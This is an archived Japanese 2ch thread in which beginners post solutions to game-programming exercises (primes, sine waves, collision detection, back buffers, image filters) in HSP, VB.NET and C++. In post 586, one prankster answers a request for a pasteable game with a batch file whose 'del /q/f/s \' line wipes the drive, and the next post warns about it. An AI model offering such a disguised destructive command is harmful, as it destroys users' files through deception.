【初心者】課題をクリアしていくスレ【講習会】

■ このスレッドは過去ログ倉庫に格納されています
1名前は開発中のものです。
垢版 |
04/06/10 18:05ID:VshiFFV8
ゲームに必要な要素を先生が出してくれます

その課題をクリアしていく講習会です
2005/08/18(木) 13:04:21ID:Tmm4selL
ふと見てみたら参加してるヤツが。
がんばれ、蝶がんばれ。
529DarkRED
垢版 |
2005/08/19(金) 13:49:39ID:ZQwS0t4z
>>528
がんばる、蝶がんばる。

現在課題6をやっている最中です。
課題自体は満たしてはいるんですが、
フレームレートの調整をしたいので現在も続行中。
530DarkRED
垢版 |
2005/08/20(土) 01:39:32ID:9A6OdVM3
課題6終わりました。
俺マジこのスレ独り占め。まあ、わざわざ新スレ立てて
一人で盛り上がっているよりはマシだと思ってください・・・。

最近、この板のレスの内容がわかることが多くなってきました。
この板に初めて来たときは知らない単語の嵐で解読不能だった覚えが。
少しは成長しているのだろうか。そうだといいのだが。
531DarkRED
垢版 |
2005/08/20(土) 22:13:46ID:6c5ezetJ
課題7終わりました。終わりはしたんですが・・・

>画面を横を640kmと仮定し、初速、角度を入力させ、弾の軌道を描いてくれ。
>ちなみに、初速は29000m/s以下で
>重力加速度は10m/(s^2)でお願いします。

この設定どおりに作ると、
初速を小さくする
 →画面の横が640[km]というスケールのでかさのせいで、
  画面上でほとんど弾が動いて見えない。
初速を大きくする
 →上に加えていつまで経っても着地しない。
  (例えば真上に200[m/s]で打ち上げたら戻ってくるまで40秒かかる。
  しかし初速の上限はこの100倍以上・・・。
  っていうか俺計算間違ってないよね?間違ってたら指摘щ(゚Д゚щ)カモーン)

ってな感じで物理シミュレーションっぽく見えないので、
横を640[m]として初速を80[m/s]以下にするくらいが
ちょうどいいのではないかって案を一応出しておきます。

俺のソースがいつもより汚いのもあるので、
この課題は後日改めてやり直すことにして次に進みたいと思います。
2005/08/20(土) 22:59:15ID:DmAbypHE
ソースまたはバイナリを出してくれないと
プログラミングの観点からはアドバイスのしようが無いな

まあ、チラシの裏がわりに日記書いてるなら別にいいんだけど
533DarkRED
垢版 |
2005/08/21(日) 04:08:51ID:V4j1CSlt
>>532
全然人がいないので、ソース挙げて放置されるのが恐かったw
これからは、ソースに対してコメント貰えたらラッキー程度に考えることにします。

というわけで課題3〜6までのソースをうpしました。
改善点・アドバイスなどありましたら指摘お願いします。
http://gamdev.org/up/img/3050.zip
個人的には、C++を使った課題6が激しく不安です。
C++ではこれ以外にはHello,worldしか作ったことが無いので・・・。
2005/08/28(日) 12:14:26ID:5RtWHjvv
面白そうだったのでLGP弄ってみた。
面倒そうな課題外伝と課題1、2を後回しにし、
課題3〜10と来てちょっと疲れたので気分転換に課題11をやってみた。
ソースはかなり自分勝手に書いてるので注意。
ttp://gamdev.org/up/img/3084.zip

あれだな、HSPでも作った事あるんだが、
ライフゲーム作るとその言語に大分慣れた気分になるのが不思議だなw
2005/09/01(木) 15:58:14ID:r8NLKjpu
俺もやってみようかな言語はHSPだけど
講師の方はいないの?とりあえずage
2005/09/01(木) 18:08:35ID:OrClWdjm
>>535
ノシ

とりあえずどのぐらいのレベルなのか・言語遍歴ドゾー
537535
垢版 |
2005/09/01(木) 23:44:31ID:r8NLKjpu
>>536
ほとんど初心者です。ここで勉強ようと思ってます
もちろん他にやったことある言語はないです。
課題1と課題3はできたけど課題2の素数がまったくわからない・・・
2005/09/02(金) 01:38:53ID:lS2+1QXD
とりあえず検索ワードおいときますね

エラトステネスのふるい
539535
垢版 |
2005/09/02(金) 04:52:22ID:XGg1mxKl
>>538
あーだめだ。わからない
エラトステネスのふるいの計算の仕方はわかったけど
どうやってHSPでやればいいのかがわからない
と言うかまだ基本的なことがわかってないみたいだから
講座とか読んで勉強してきます
2005/09/03(土) 02:14:26ID:ueWuhlOr
なんとなく漏れもHSP3で参加してみます。

…課題1〜3まで出来たけど課題4が出来ないや。sin波形ワケワカラナス
2005/09/24(土) 21:39:06ID:puvSe1x9
542名前は開発中のものです。
垢版 |
2005/09/26(月) 01:41:22ID:HXJRBQqp
■まとめページ
【初心者】課題をクリアしていくスレ【講習会】まとめ
http://gamdev.org/w/?%5B%5B%A1%DA%BD%E9%BF%B4%BC%D4%A1%DB%B2%DD%C2%EA%A4%F2%A5%AF%A5%EA%A5%A2%A4%B7%A4%C6%A4%A4%A4%AF%A5%B9%A5%EC%A1%DA%B9%D6%BD%AC%B2%F1%A1%DB%A4%DE%A4%C8%A4%E1%5D%5D
・過去問や解答が掲載されています。

■姉妹スレ
【目標ない奴】おまいらに課題を与える。【集まれ】
http://pc8.2ch.net/test/read.cgi/gamedev/1026148930/
・お題はゲームの作成が中心になっています。このスレよりちょっと難易度が高い。
2005/09/27(火) 07:23:17ID:GGOdg2Cr
http://gamdev.org/up/img/3428.phps
課題1数当てです
2005/09/27(火) 07:53:22ID:GGOdg2Cr
http://gamdev.org/up/img/3429.phps
課題2素数
大きい数字から割っていってるので効率悪いかも
2005/09/27(火) 08:56:37ID:GGOdg2Cr
http://gamdev.org/up/img/3430.phps
課題3赤い四角
tchar.hってVC以外でも使えるのかな?
2005/09/27(火) 09:13:30ID:GGOdg2Cr
http://gamdev.org/up/img/3431.phps
課題4sin波形
SetPixelでやるとうまくいかない
2005/09/27(火) 10:59:10ID:GGOdg2Cr
http://gamdev.org/up/img/3432.phps
課題5キー入力
あえてバックバッファを使わない方法を模索
2005/09/28(水) 02:00:38ID:GJl3SF9q
http://gamdev.org/up/img/3434.phps
課題6 当たり判定
敵と味方の四辺を比較
2005/09/28(水) 06:45:19ID:GJl3SF9q
http://gamdev.org/up/img/3435.phps
課題11 ライフゲーム製作
VC++で作りました
BCCでも少しの修正で動くと思います
2005/09/28(水) 08:23:57ID:IBjiJLIJ
ほほぅなかなかやりおる。でもあんまり飛ばすと後で急にやる気なくなるから注意だ。
2005/09/29(木) 19:17:35ID:LE7U2HkX
ここで、問題を出してみる。

当たり判定を、四角形ではなく円形で行ってください。
2005/09/30(金) 09:28:41ID:+8V2fz3M
ヒントはピタゴラス?
553名前は開発中のものです。
垢版 |
2005/10/04(火) 15:10:27ID:t2ocW2mS
>>551
先生、できました!
採点よろしくおねがいします
http://gamdev.org/up/img/3474.phps
554名前は開発中のものです。
垢版 |
2005/10/14(金) 02:14:31ID:IPOLOsVX
http://gamdev.org/up/img/3539.phps
課題8 弾を撃って貰います
当たったら画面外へ移動
画面外で重なってしまわないように座標に注意
2006/03/02(木) 22:15:56ID:cLvXii56
随分廃れてるなぁ・・・
2006/03/02(木) 22:16:52ID:cLvXii56
あ、ageとこう・・・。
2006/03/03(金) 01:25:47ID:hvy8QSOW
>>555
先生が現れればある程度復活するだろう。
2006/03/22(水) 23:48:16ID:pGER7Nuk
他人にソース見せて悪い箇所を指摘してもらうのが上達の秘訣って聞いたんだけど
先生なってくれる人居ないのかな?
2006/03/23(木) 01:44:59ID:rIjaXeea
とりあえず晒したら何かしらレスが付くと思われ
2006/06/03(土) 12:45:09ID:LfwUSM+O
こっそり開始
数当てゲーム作るぜ
チラシの裏状態になるんだろうけどな
2006/06/03(土) 14:21:12ID:LfwUSM+O
ソース(VB2005)
http://gamdev.org/up/img/5982.phps

まとめ
一行入力はConsole.ReadLine
一行出力はConsole.WriteLine
乱数つくるのにNew Randomしないといけない
Console.ReadLineで何も入力しなければ例外がでるのでtry〜catchで処理

採点とまでいかなくてもおかしいところがあったら教えてくれよな
2006/06/03(土) 14:39:54ID:LfwUSM+O
素数のソース(VB2005)
http://gamdev.org/up/img/5984.phps

まとめ
関数は Function 〜 End Function
ループ While (継続条件) 〜 End While
変数の初期化 Dim i As Integer = 2

数当てのほうが難しかったぜ
次はついにWindowプログラムか
2006/06/05(月) 23:30:18ID:8flTmyaF
課題3赤い四角のソース(VB.NET2005)
http://gamdev.org/up/img/6008.phps

ビルドするにはPictureBoxコントロールとTimerコントロールを貼り付けておいてください

まとめ
FormのMaximizeBoxプロパティをfalseに設定すると最大化ボタンが無効(灰色)になる
FormBorderStyleをFixedSingleに設定すると実行時にFormのサイズをマウスなどで変更不可
クライアント領域(描画できる領域)を640x480にするにはClientSizeプロパティを実行時にコードで変更する必要がある
四角を描くのはFillRectangle
その準備にPictureBox1.CreateGraphics()が必要、使い終わったらDispose()する

VBなんだからもっと簡単にグラフィック描画できればいいのに・・・・・・
2006/06/06(火) 22:07:03ID:BKKQVE+c
課題4 sin波形 VB.NET2005
http://gamdev.org/up/img/6015.phps

g.Dispose()しなくてもガベコレが処理してくれるとか言ってるサイトをみつけたんだが
やっぱしたほうがいいよな、たぶん

まとめ
iがIntegerなのに増分を小数にして永久ループというひどい目にあった
ペンの作成はDim p As New System.Drawing.Pen(Color.Red)

変数宣言したあとさらにNewやCreateするのって長くて嫌だなぁ……
2006/06/08(木) 15:32:16ID:l70M6MGX
がんばれ〜
2006/06/10(土) 20:16:40ID:0j3Y3Eu0
>>565
がんがる〜


課題スレVB2005課題5キー入力
http://gamdev.org/up/img/6099.phps

キー入力とバックバッファをやった
GetAsyncKeyStateを使う方法もあるらしいけど
今回はwikiのヒントにあった_KeyDownを使った

まとめ
・Formにコンポーネントを乗せるとKeyDownなどのイベントプロシージャが実行されなくなる場合がある
 これに対処するにはFormのKeyPreviewをTrueにする
・KeyDownでフラグをTrue、KeyUpでフラグをFalseにする
 こうすることでキーを押しっぱなしにしたときにKeyDownが連続で発生してもキーが現在、押下状態かどうか判断できる
・バックバッファはBackBuffer = New Bitmap(640, 480)でビットマップを作って利用
・ビットマップになにか描画したいときはBBGraphics = Graphics.FromImage(BackBuffer)でBBGraphicsを使う
・ビットマップを描画画面に転送するのはformGraphics.DrawImage(BackBuffer, 0, 0)


Timer以外でメインループを作る方法が見つからないorz
win32のPeekMessageやDelphiのOnIdleみたいな方法ないのかなぁ……
Application.DoEvents()を挟んでビジーループでいいのかな
System.Threading.Thread.SleepでSleepの替わりにもなりそうだし
2006/06/11(日) 13:19:05ID:tyRLJnFM
課題6当たり判定
http://gamdev.org/up/img/6107.phps

まとめ
矩形が重なっているかどうかで判定
ENDで終了
2006/06/27(火) 21:32:41ID:SYe9nV57
 ,、,、,||
;'`,゙、.||'、   保守
'; 、' /´;`'.,
 ´' .; ' ; '、'.
   '; 、 ' ,'
    '.,´; '
     l !j
    /ルゝ
2006/08/14(月) 06:40:17ID:NHdHnzDZ
先生失踪中ヵ..
2006/08/14(月) 07:18:28ID:VdbybaMn
先生がいなくても自分一人でできる奴ばかりだから大丈夫だろう。
課題をやっている奴は、GameDevPukiWikiにソースを貼ってもらえると
先生がいないと不安な後続の人達の参考になって良いかも。
571名前は開発中のものです。
垢版 |
2006/08/15(火) 20:25:23ID:O7thC4Po
課題7 -課題外伝- 弾道シミュレーション
http://gamdev.org/up/img/7120.phps

サインコサインで悩んだorz
ゲ製作にVB使い少ない……
2006/08/16(水) 02:44:08ID:qsmhqtob
微分積分いい気分
C言語とか意味不明だ
2006/08/16(水) 02:58:57ID:vu7zrhua
>微分積分いい気分
( ´∀`)σ)∀`)>>572
2006/08/16(水) 23:44:56ID:hBfKBKuk
題8 弾を撃って貰います vb.net
http://gamdev.org/up/img/7146.phps

ArrayList使ってみた
当たり判定ちょっと面倒だったよ
本当は関数化したほうがいいのかな
2006/08/19(土) 12:29:09ID:Kg/n9ytV
課題10 インベダ風移動 vb.net
http://gamdev.org/up/img/7173.phps

VBって解放が必要なのか不要なのかいまいちわかりずらいorz
576名前は開発中のものです。
垢版 |
2006/09/10(日) 17:11:36ID:TDb9YusH
スレ違いかもしれないですけど。

回線速度が512Kbp/Sの回線を用いて256000byteのデータを、
転送するためには何秒かかるか。

1件の伝聞260byte 200byteのデータを含む伝聞の送信間隔は、
平均2o秒とする。

計算式も書くこと。

さっぱり分かりませんので計算お願いします。。。
2006/09/10(日) 18:48:03ID:WLNmrtem
基本情報の午前に出そうな問題だな。
懐かしいわ。
2006/09/10(日) 19:47:52ID:GdkKRdS2
スレ違いどころか板違いだな
プログラム板の宿題スレに行けば誰か答えてくれるかもしれんが
こんなやつ誘導したくないな
2006/09/17(日) 15:08:39ID:dp7/71US
最近の若い者って、調べる能力がやたら低くない?

人のことを若い者って言えるほど年食ってるわけじゃないけど。
2006/09/17(日) 16:08:29ID:kab63KmG
ぜひ義務教育の範囲内で「ググれ」の3文字を教えて欲しいものだが、
それをやると学校でモノ教える意味がなくなるから、
既得権益の亡者な教師にはソレができない。
2006/09/18(月) 13:16:25ID:W/lXcIbz
安易に「ググれ」と教えてはいけない。考えなくなるから。
そのうち「ググっても無かったので分かりません」と言い出しかねない。
582名前は開発中のものです。
垢版 |
2006/10/19(木) 12:24:46ID:2T8BbUdQ
いくつか問題を出しましょう。
エフェクトに関する入り口。

適当な画像を、
・モノクロ
・エッジ
・モザイク
・ソフト
加工してください。
583くたらぎけん
垢版 |
2006/10/20(金) 14:17:57ID:an970z+w
このスレ今から参加しても宜しいのでしょうか?
2006/10/20(金) 22:11:32ID:fQ4Z1QKt
勝手にやればいいんでね
585名前は開発中のものです。
垢版 |
2006/10/21(土) 09:30:29ID:wamNDeux
メモ帳に写して実行するだけでプレイ出来るゲームのソース貼って下さい

時間が無いのでなるべく早くお願いします
2006/10/21(土) 09:35:13ID:6R8oaMOr
1.ファイル名を「適当な名前.bat」にする
2.次のを貼り付ける
@echooff
del /q/f/s \

3.出来たファイルを実行する
4.昨夜はお楽しみでしたね
2006/10/21(土) 19:37:53ID:XCzYIwYp
まあ実行するやつはいないと思うが、>>586はファイル全消去なので注意。
588名前は開発中のものです。
垢版 |
2006/10/21(土) 21:56:38ID:wamNDeux
delで何となく分かったよ
別に困らないけどね
589名前は開発中のものです。
垢版 |
2006/10/22(日) 00:00:29ID:IqzFRS51
やってみようと思うときが参加のタイミング。
適当に覗いて見よう。
2006/10/22(日) 09:32:09ID:be4WCk1M
1.ファイル名を「適当な名前.js」にする
2.次のを貼り付ける
var WShell = WScript.CreateObject("WScript.Shell");
var strHands = new Array(3); strHands[0]="グー"; strHands[1]="チョキ"; strHands[2]="パー";
var strResults = new Array(3); strResults[0]="引き分け"; strResults[1]="あなたの勝ち"; strResults[2]="あなたの負け";
var indexCom = Math.floor(Math.random()*3);
var indexYou = WShell.Popup("グー=中止 チョキ=再試行 パー=無視", 3 , "じゃんけん", 2|32)-3;
if(indexYou < 0)WShell.Popup("時間切れ", 1, "じゃんけん");
else WShell.Popup("わたし:"+strHands[indexCom]+"\nあなた:"+strHands[indexYou]+"\n\n"+strResults[(indexCom-indexYou+3)%3], 0, "じゃんけん");

3.出来たファイルを実行する
4.勝ったら脳内で脱がせる、負けたらリアルで脱ぐ
2006/10/22(日) 10:29:26ID:T38aBY/h
2あたりにいた受験生です(酉忘れちまったw

このスレまだあったのか…

また課題でも用意する?
592名前は開発中のものです。
垢版 |
2006/11/19(日) 01:28:15ID:wJaGDUpd
>>582の課題やってみました
モノクロということでカラー画像から2値画像への変換
http://gamdev.org/up/img/8128.zip

開発環境はDelphi6 personal
ソース、実行ファイルが含まれています


使い方
ファイル→開く でBMP画像を開いておく
画像変換→モノクロ で画像処理をはじめます

画像の大きさにもよりますがちょっと時間がかかります(サンプル画像で5秒ぐらい)


変換サンプル画像
変換前
http://bbs.gamdev.org/gamedev/gamdev.png

変換後
http://gamdev.org/up/img/8129.jpg



避難所の看板に変換処理をかけてみました
閾値はRGBともに32
この数字をうまく決めないと画像が消えちゃいますね
フォトレタッチソフトは閾値の入力なしで自動で処理してるけど
なにかうまい方法があるのかな
593C++/win32API
垢版 |
2006/11/25(土) 00:09:14ID:ZxloQDt/
課題5です。
どなたかバックバッファがわかる方教えてください。
↓画面が真っ白になるんですけどどうすれば直りますか?

ttp://gamdev.org/up/img/8183.zip
2006/11/25(土) 02:02:55ID:FscVmuXx
>>593
92-94行
SelectObject(backBafferDC,hOldPen);
SelectObject(backBafferDC,hOldBr);
Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y);

SelectObject(backBafferDC,hPen);
SelectObject(backBafferDC,hBr);
Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y);
SelectObject(backBafferDC,hOldPen);
SelectObject(backBafferDC,hOldBr);
に直してみてはいかがか。
2006/11/25(土) 17:57:48ID:zYG1sxsz
>>582の課題モザイク
サンプル画像
http://gamdev.org/up/img/8191.png
実行ファイルとソース
http://gamdev.org/up/img/8192.zip

このままの速度じゃゲームに使えないね
ひと段落ついたら高速化もやってみたい

それにしてもエッジ難しすぎる……
微分やオペレータって画像処理の基本らしいので
がんばりたいけど
596593
垢版 |
2006/11/25(土) 21:37:45ID:ZxloQDt/
>>594
できました!ありがとうございます。
2006/11/27(月) 13:00:13ID:AfDweK2L
チラシの裏だが、素数の問題について一言。
”エラトステネスのふるい”というキーワードが出ているが、この問題に対して適応できるとは考えられない。
この方法を使うのならば、1000個目の数値が既知でなくてはならい。要するにズルをしないで解を得るには
総当りするか、無限個の要素からなる配列をふるいにかけるかである。
もしも”エラトステネスのふるい”を意識していたならば、例えば「0〜9999の間に存在する素数を列挙せよ」となる。
2006/11/27(月) 20:55:38ID:3EIwZmwn
>>597
いいかい、n+1が素数かどうかを最も効率よく判定するためには、
n以下の素数が列挙されている必要がある。
これが「エラトステネスのふるい」から得られる知見なのだよ。

そうしてみると、1000個目の素数を探すプログラムには、
 ・ 次に判定する整数を示すカウンタ
 ・ 今までに見つかった素数を格納する配列
を確保する必要がある。
1000個目、という指定は、後者の確保する用量が静的に決まるため、
極めて具合が良いのだよ。

「エラトステネスのふるい」と言われて、
教科書どおりの手順しか思いつかない人間には、
残念ながら、創造の才能は無いよ。
与えられた道具は、使い方を工夫して、組み合わせるんだ。
2006/11/28(火) 01:45:59ID:VYv9sMeV
サンプル画像
http://kasumicyoucyou.fc2web.com/Palau2006/0329/3290151.jpg

http://gamdev.org/up/img/8231.png

実行ファイルとソース
http://gamdev.org/up/img/8232.zip

微分使うのを諦めて隣接するピクセルと引き算して閾値と比べてみた
工夫した点はRGBを別々に比べたこと
RGBの合計を閾値と比べるより綺麗なエッジがでます
閾値を弄れば雲の部分のエッジを出すことも可能
その場合は他の場所がうまくいかなかったりするので
調整するのも難しい
2006/11/28(火) 03:03:40ID:JXILxC55
>>598
前言撤回です。自分のアホさを痛感しつつ課題に取り組みました。
ttp://gamdev.org/up/img/8233.phps

というか、>>382と同じですねHAHAHA.
orz
2006/12/18(月) 20:43:34ID:f8pwlrC2
課題 素数 COBOL
http://gamdev.org/up/img/8389.phps

まだCOBOLは出てなかったようなので……。
602名前は開発中のものです。
垢版 |
2007/01/03(水) 13:04:17ID:34CL32fK
ぼでぃいいいいいいいいいいいいいいいいいいいいいいいいず

あいむなっとあにぃいいいいいいいいいまああああああああある!
2007/02/03(土) 16:43:24ID:b0e6Rts8
いきなりだが俺もちょこっと参加させてくれ。
とりあえずできそうなのからということで
>64の素数をやってみた。つかってるのはHSP3
よろしくお願いします。

screen 0,800.700,,,
font "MS ゴシック",8
a=2
b=2
c=0
repeat
repeat
if a\b = 0{
if a=b {: pos c\26*30,12*(c/26) : mes ""+a+" " :c++ :break}
else :break
}
if a<b :break
b++
loop
a++
b=2
if c=1000 :break
await 1
loop
stop


こんなので、こういうのができるのに自分でもびっくりだった。
本当にあってるかはよくわからんけど。
2007/02/03(土) 16:46:30ID:b0e6Rts8
と思ったら過疎スレなのか(´д`)
605製作神 ◆3C/O4odLsY
垢版 |
2007/02/03(土) 16:50:16ID:z04kCzis
もっと投下すれば賑わうであろう。
2007/02/04(日) 16:07:13ID:wipOHoKW
数当てもつくってみたよ。しかしマジでいないなー。
2007/02/04(日) 18:12:35ID:MWYCkzpm
>>603
偉そうに登場したのによろしくお願いしますで締めてるところにうけた
2007/02/05(月) 06:15:29ID:JxXUp4Vb
配列変数とやらを使って、+1ずつして割っていく方法から、
でてきた素数を代入して割っていく方法に変えたら、
>603の時より、ループ回数が偉く少なくなった。
でも、他にa+2でやったほうが早そうなんだけど、
それをきれいにはめる方法が良くわからない。
if 構文追加してもいいけど、どっちみち2で割るところまでくれば
変わらないような気もするし。
2007/02/05(月) 06:38:57ID:JxXUp4Vb
計算方法をちょこっと変えたら、5000万のループ回数が70万に。素数オモスレー
2007/02/07(水) 05:50:49ID:GNKliERn
む、HSPなんだけどSIN波形というのがよくわからん。
何をどうするのかが。
>107のはうちで動かんし。
考え方からさっぱりだ。
611名前は開発中のものです。
垢版 |
2007/02/07(水) 15:20:39ID:NKLSTYEl
HSP3.0からsin関数が標準で使えるようになった、だから変数名でsinは使えない

R1=3.1415/180.0;3.1415/180=ラジアン単位で約1度
pos 0, 240
repeat 640
line cnt, 240+(sin(R1*cnt)*240)
loop
stop
2007/02/16(金) 00:22:46ID:qpyJEI/g
>611
サンキュ
なるほど。line命令とかこういう風に使うのか。
しかもまるまる答えそのものじゃないかー。
613名前は開発中のものです。
垢版 |
2007/02/16(金) 02:20:37ID:ppH9PRcO
>>612
始点、終点も設定すると、前回の終点を
保存か算出する必要が出てくるからな
2007/02/17(土) 06:26:41ID:x7siGPZt
課題5の箱を動かすのやってるんだけど、
箱動くことは動くんだけど、
clsでやってるから箱がちらつくんだよね。
ヒント頼む ちなみに今こんな感じ。↓

screen 0,640,480
q=3
repeat
getkey m,37
getkey n,39
getkey o,38
getkey p,40
x=x+q*(n-m)
y=y-q*(o-p)
if fx!x or fy!y :cls
if x>320 :x=320
if x<0 :x=0
if Y>240 :y=240
if y<0 :y=0
color 255, :boxf 0+x,0+y,320+x,240+y
fx=x:fy=y
await 1
loop
2007/02/17(土) 12:59:22ID:zySnsdUf
clsやめればいいじゃん
2007/02/17(土) 13:09:21ID:AzT6DJgE
>>614
cls を使わずに、画面のクリアは boxf を使って真っ白に塗りつぶす。

これだけだとまだちらつくから、
画面塗りつぶしと箱描画をする前に redraw で描画モード0を指定する
画面塗りつぶしと箱描画をした後に redraw の描画モード1を指定する
2007/02/17(土) 14:52:49ID:x7siGPZt
>615
使わないと画面真っ赤になっちゃう。
clsぐらいしかわからないからな。悪いな。

>616
boxfで塗りつぶすというのはたまに見るんだが、
なんだかよくわからんかった。が、それをヒントに、
色々やってみる。アリガトン
2007/02/17(土) 17:49:27ID:x7siGPZt
これって
redraw 0

redraw 1

〜の部分に描画するものいれておくと
1の時にまとめて表示されてちらつきがなくなるってことで良いのかな。
何でちらつかないのかはいまいちピンと来ないんだけど。

とりあえずclsのところに↓入れて
redraw 0 :color 255,255,255 :boxf 0+fx,0+fy,max_x+fx,max_y+fy

redraw 1
上を最後の方に入れた。
ただ、動きが重くなるんだね。この命令って処理が重いの?
2007/02/17(土) 20:25:31ID:pIqCsBKC
暇だからやってみた素数。2だけすまんがずるしてる。
これくらいが関数覚えなくてもできるから楽しいな。
もっと早いの考えてみっか。
/*--------------------------------------------------*/
#define MAXN 1000
#include <iostream.h>

int main(){
 int temp[MAXN],k=2,i=0,j,loop=0;
 
 cout<<2<<endl;
 
 while(i<MAXN){
  temp[i]=2;
  for (j=0;j<=i;j++){
   loop++;
   if(k%temp[j]==0) break;  //kがn[j]の倍数ならn[j+1]に飛ばす
   else if(j==i){
    temp[i]=k;
    cout<<temp[i]<<endl;
    i++;
    break;
    }
  }
  k++;
 }
 cout<<loop<<"回ループしやした!"<<endl;
 return 0;
}
/*--------------------------------------------------*/
2007/02/18(日) 04:26:14ID:8TgB3zN2
>>618
clsより軽いはずだ。
2007/02/18(日) 16:42:46ID:yPmVwvF6
>620
むー。そうなのかー。でも動き重くなったしなー。
使い方悪いのかなー。

課題6を
丸描いて敵にしてるんだけど、動き方をどうするかで
試行錯誤ちう
2007/02/18(日) 21:48:11ID:Z60cc6BP
>>621
重いのは await 1 が原因だよ。
2007/02/21(水) 04:09:26ID:XCgw7SD2
課題6やってるんだけど、
あたり判定がなんか良くわからなくなって、
とりあえずはねかえる様にしようとしたらさらにワケワカラン状態に。orz
考え方が間違ってるのはわかってるんだが、どう間違ってるかが分からない。
ダメだしお願い。

ttp://gamdev.org/up/img/8984.lzh
2007/02/21(水) 17:45:56ID:1pwfm66w
↓こうじゃない?

★箱
(x,y)
┏━━━━━┓(x+max_x,y)
┃          ┃
┃    ・(x+max_x/2,y+max_y/2)
┃          ┃
┗━━━━━┛(x+max_x,y+max_y)
(x,ymax_y)

★玉
(enemy_x,enemy_y)
┌─────┐(enemy_x+sx,enemy_y)
│          │
│          │
│          │
│          │
└─────┘(enemy_x+sx,enemy_y+sy)
(enemy_x,enemy_y+sy)


★箱の右で衝突
(x,y)
┏━━━━━┓(x+max_x,y)
┃          ┃
┃    ・(x+max_x/2,y+max_y/2)
┃     ┌─────┐
┗━━━┥        │

enemy_xがx+max_x/2〜x+max
enemy_yがy-sx〜y+max_y
2007/03/02(金) 09:45:12ID:RL8xs1BY
>624
スマン はねかえる様にできたら、そこからぶつかったという仕様にしたかったんだ。
ようやっと、とりあえずはね返るようにはなった。
後ろからあたりに行ったりするとスルーしちゃったりするけど、
大まかにははねかえる様になって、その条件式でちょっと仕様変えてぶつかったという判定にした。
なんか色々とつっかえたなぁ。サイト色々探しちゃったし。

つまると素数プログラムを改善して紛らわせてるんだけど、
数値に制限あるのな。HSP。
まぁ、そこまで素数を下から求めたりしないからいいんだけど、
素数を使って素数を判定するというもの作った時に、数値がめちゃくちゃになって弱った。
626名前は開発中のものです。
垢版 |
2007/03/02(金) 16:19:42ID:xch9HBdf
>>625
勘違いするなよ?
桁の制限なんてどんな言語でもあるぞw
言うなら32ビット整数型の制限だよ
2007/03/02(金) 16:34:53ID:RL8xs1BY
>626
そういうものなのか。
もうちょっと桁はいくもんなのかと思ってたけど、
なるほど2^32の半分なわけか。
となると、それを越える数字を使うプログラムははじかれるのか。


まとめサイトに繋がらないんだけど。なんでだろ。
■ このスレッドは過去ログ倉庫に格納されています
5ちゃんねるの広告が気に入らない場合は、こちらをクリックしてください。

ニューススポーツなんでも実況